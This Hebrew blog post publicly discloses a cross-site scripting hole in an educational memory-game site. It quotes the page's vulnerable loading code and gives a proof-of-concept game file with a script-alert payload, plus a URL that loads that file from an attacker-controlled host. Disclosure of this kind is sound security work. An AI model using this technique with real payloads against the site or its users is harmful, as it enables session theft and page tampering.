כאשר נכנסים לדף

http://edu1.lnet.org.il/games/memory/game.html?id=passoverHabbits

נוכל להבחין בבקשה הנשלחת אל הקובץ

http://edu1.lnet.org.il/games/memory/passoverHabbits.txt

קובץ זה מכיל את נתוני המשחק, על מנת לבדוק איך פעולה זו מתבצעת נכנס לקוד המקור של הדף ונוכל לראות את קטע הקוד הבא:

var id;
var jsonFileObject;

function readFile(idValue) {

    var file = idValue + ".txt";

    $.ajax({
        url: file,
        success: function (data) {
            jsonFileObject = JSON.parse(data);
            $('#tutorial-memorygame').quizyMemoryGame();
        }
    });
}

function getParameterByName(name) {
    name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
    var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
        results = regex.exec(location.search);
    return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}

id = getParameterByName('id');

if (id != "") {
    readFile(id);
}

ניתן לראות כי על ידי שימוש ב getParameterByName מקבלים את מזהה המשחק ולאחר מכן מתבצעת קריאה לפעולה readFile המקבלת את מזהה המשחק, הפעולה יוצרת נתיב לקובץ על ידי חיבור מזהה המשחק עם הסיומת txt ולאחר מכן מבצעת בקשת get לקבלת תוכן הקובץ, תוכן הקובץ מעובד לjson ואז מאותחל המשחק על ידי שימוש ב quizyMemoryGame

כאשר quizyMemoryGame נקרא, קטע הקוד הבא מורץ, ניתן לראות שנעשה שימוש בתוכן הקובץ בקריאה ל initOpts.instructions המכיל טקסט, הטקסט מוכנס לתגית ה span כ html (מה שיאפשר לנו להריץ קוד js בהמשך)

http://edu1.lnet.org.il/games/memory/js/jquery.quizymemorygame.js
var objJson = jsonFileObject.settings;
var objData = jsonFileObject.data;

initOpts = objJson;


var instructions = $('#instructions');
instructions.find('.ins-text').html(initOpts.instructions);

לאחר שהבנו שניתן ליצור נתיב לקובץ בעצמנו נוכל להכניס קובץ משחק דומה בעל הוראות המכילות קוד html, לדוגמא:

{
    "settings": 
    {
        "instructions": "<script>alert(1)</script>"
    }
}

נשמור את הקובץ המשחק תחת השם game.txt, נריץ שרת http פשוט ונוכל לראות את הבעיה. נפתח את הקישור:

http://edu1.lnet.org.il/games/memory/game.html?id=http://localhost/game

לאחר כמעט שנה שהבעיה לא תוקנה הבנתי שצוות האתר אינו מייחס חשיבות רבה לבעיה ומכיוון זאת החלטתי לפרסם את פוסט זה